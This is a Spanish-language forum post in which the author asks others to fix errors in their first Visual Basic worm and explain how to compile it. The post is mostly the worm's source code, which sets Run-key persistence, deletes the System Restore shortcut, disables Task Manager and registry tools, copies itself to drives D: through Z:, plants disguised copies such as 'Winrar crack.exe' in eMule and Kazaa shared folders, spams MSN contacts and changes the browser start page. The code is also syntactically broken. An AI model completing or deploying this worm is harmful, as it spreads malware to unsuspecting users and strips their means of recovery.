Temas

buenas! queria pedirles si me pueden ayudar en corregir mi worm no pido que me lo trabajen..(reglas xD)solo que me digan fallos de los codesc de mi worm...y una duda que tengo por favor aver si me la resuelve alguien:S...es la primera vez que programo un worm en visual basic y el worm lo e creado en bloc de notas...como ago para guardarlo una vez que ste corregido y terminado en visual basic para q al ser guardado pueda ya ejecutarse?gracias!!:) espero no tener muxos fallos..xD




code:
Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Win32dll /d Rutadenuestrovirus.exe"
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d ""1"" /f"
Open "C:\Windows\System32\Winlog.bat" For Output As #1
Print #1, "@echo off"
Print #1, "If exist D:\ (Copy /y C:\Windows\System32\Win32dll.exe D:\Win32dll.exe)
Print #1, "If exist E:\ (Copy /y C:\Windows\System32\Win32dll.exe E:\Win32dll.exe)
Print #1, "If exist F:\ (Copy /y C:\Windows\System32\Win32dll.exe F:\Win32dll.exe)
Print #1, "If exist G:\ (Copy /y C:\Windows\System32\Win32dll.exe G:\Win32dll.exe)
Print #1, "If exist H:\ (Copy /y C:\Windows\System32\Win32dll.exe H:\Win32dll.exe)
Print #1, "If exist X:\ (Copy /y C:\Windows\System32\Win32dll.exe X:\Win32dll.exe)
Print #1, "If exist Y:\ (Copy /y C:\Windows\System32\Win32dll.exe Y:\Win32dll.exe)
Print #1, "If exist W:\ (Copy /y C:\Windows\System32\Win32dll.exe W:\Win32dll.exe)
Print #1, "If exist Z:\ (Copy /y C:\Windows\System32\Win32dll.exe Z:\Win32dll.exe)
Print #1, "exit"
Close #1
Shell ("C:\Windows\System32\Winlog.bat", vbhide
Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\Win32dll.exe
FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\eMule\Incoming\Win32dll.exe"
' Change "C:\Archivos de Programa\eMule\Incoming\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\eMule\Incoming\Win32dll.exe", "Winrar crack.exe")
' Change "C:\Archivos de Programa\eMule\Incoming\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\eMule\Incoming\Win32dll.exe", "ares.exe")
' Change "C:\Archivos de Programa\eMule\Incoming\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\eMule\Incoming\Win32dll.exe", "messenger ulima version.exe")
FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Kazaa\My Sheared folder\Win32dll.exe"
' Change "C:\Archivos de Programa\kazaa\My Sheared folder\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\Kazaa\My Sheared folder\Win32dll.exe", "Winrar crack.exe")
' Change "C:\Archivos de Programa\kazaa\My Sheared folder\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\Kazaa\My Sheared folder\Win32dll.exe", "ares.exe")
' Change "C:\Archivos de Programa\kazaa\My Sheared folder\Win32dll.exe" to the path and filename for the file that
' you want to rename.
My.Computer.FileSystem.RenameFile("C:\Archivos de Programa\Kazaa\My Sheared folder\Win32dll.exe", "messenger ulima version.exe")
On Error GoTo NotCompatible
Set w = CreateObject("lo que hacen las drogas")
For Each ConTacto In w.MyContacts
If ConTacto.Statu s = 2 Then
Set iMsn = w.InstantMessa ge(ConTacto.Signi nName)
Call SpamMsn(iMsn.hwnd)
Next
End If
Exit Sub
NotCompatible:
MsgBox "esto es lo que pasa si te desfasas...", vbCritical, "Error"
End
Set Worm = CreateObject("WScript.Shell")
Worm.RegWrite
("HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page") , "falete"
MsgBox "porque?....te comieste a falete.."
End If